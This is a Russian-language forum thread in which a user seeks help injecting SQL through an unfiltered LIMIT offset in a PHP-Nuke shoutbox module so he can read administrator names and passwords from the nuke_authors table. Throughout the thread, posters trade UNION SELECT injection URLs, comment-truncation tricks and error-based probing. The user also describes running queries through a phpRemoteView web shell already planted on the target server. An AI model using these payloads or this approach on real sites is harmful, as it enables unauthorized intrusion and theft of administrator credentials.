Просмотр полной версии : помогите с sql инъекцией
есть скрипт в нем такая строка:
$query = "select * from ".$prefix."_quiecom_shoutblock order by id desc limit $start, $conf[17]";
переменная $start не фильтурется и берется из значения урла OFFSET, переменная $conf[17] всегда равно 25
я пробовал сделать так:
/modules.php?name=Qshoutblock&offset=0,25 UNION SELECT null,name,pwd,aid,null FROM nuke_authors LIMIT 0
переменную $conf[17] он засунуть засунуть в конец запроса и получиться
... FROM nuke_authors LIMIT 0,25
---------
но почему то не прокатывает так, пробовал провести через шелл пхпешный он мне выдает ошибку, пробовал и так и сяк понял что не хочет работать с order by ..., без него скрипт выполнялся (в шелле).
подскажите возможно ли всё таки как то составить запрос что бы он выдал мне значения из другой таблицы
попробуй после после nuke_authors поставить /*
т.е. у тебя получится:
/modules.php?name=Qshoutblock&offset=0,25 UNION SELECT null,name,pwd,aid,null FROM nuke_authors /*
LIMIT 0 - хз, но помоему это можно опустить..
по поводу таблиц - ну тебе наверно лучше знать какие там существуют таблицы, главное, чтобы sql-инъекция была).
2Rebz:
пробовал и так, но экран остается белым и всё.
какие таблицы там я знаю, это нюковский движек. там лежит phpRemoteView и в нем я могу на ПХП выполнять скрипты, делал так:
$dbc = mysql_connect('localhost','юзер','') ;
mysql_select_db('nkchatr7_nuke',$dbc);
$query = "select * from nuke_quiecom_shoutblock order by id desc limit 0,1 UNION SELECT 0,name,pwd,aid,0 FROM nuke_authors";
$res = mysql_query($query,$dbc);
while($str = mysql_fetch_array($res)) var_dump($str);
mysql_close($dbc);
так не работает даёт ошибку, если запрос изменить т.е. заключить в скобки всё до UNION работает и если убрать ORDER BY тоже работает, но этого я не могу сделать через УРЛ. вот я просто и хочу знать всё таки через УРЛ как то можно пробиться в таблицу nuke_authors или все таки бесполезно.
Что-то я не заметил...
SQL-inj. проверяется наличием ковычки.. т.е,:
/modules.php?name=Qshoutblock&offset=0,25' . Ковычка не экранируется?
если запрос изменить т.е. заключить в скобки всё до UNION
так и надо делать.. если инъекция есть, то в дальшнейшем будет:
/modules.php?name=Qshoutblock&offset=0,25' union select .... from nuke_authors /*
попробуй это в браузере...
ORDER BY кажется нельзя убрать.. только если в комменты засунуть.. - /*
да, если написать:
/modules.php?name=Qshoutblock&offset=0'
выдает ошибку:
Error in query: select * from nuke_quiecom_shoutblock order by id desc limit 0', 25. Array
вот от сюда я и начать плясать
но ORDER BY ни как через УРЛ не закоментировать, ибо переменная через которую можно инъектировать уже после него находиться.
может всё таки как то можно их увязать?!
чувствую это дырка, но где она :)
ага, значит всё нормуль.. инъекция есть..
в дальшнейших запросах эту ковычку не убирай..
по идее должно нормально сработать такой урл:
/modules.php?name=Qshoutblock&offset=0,25 /*
но он выкидывает на начало страницы, походу дела стоит какой то фильтр
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot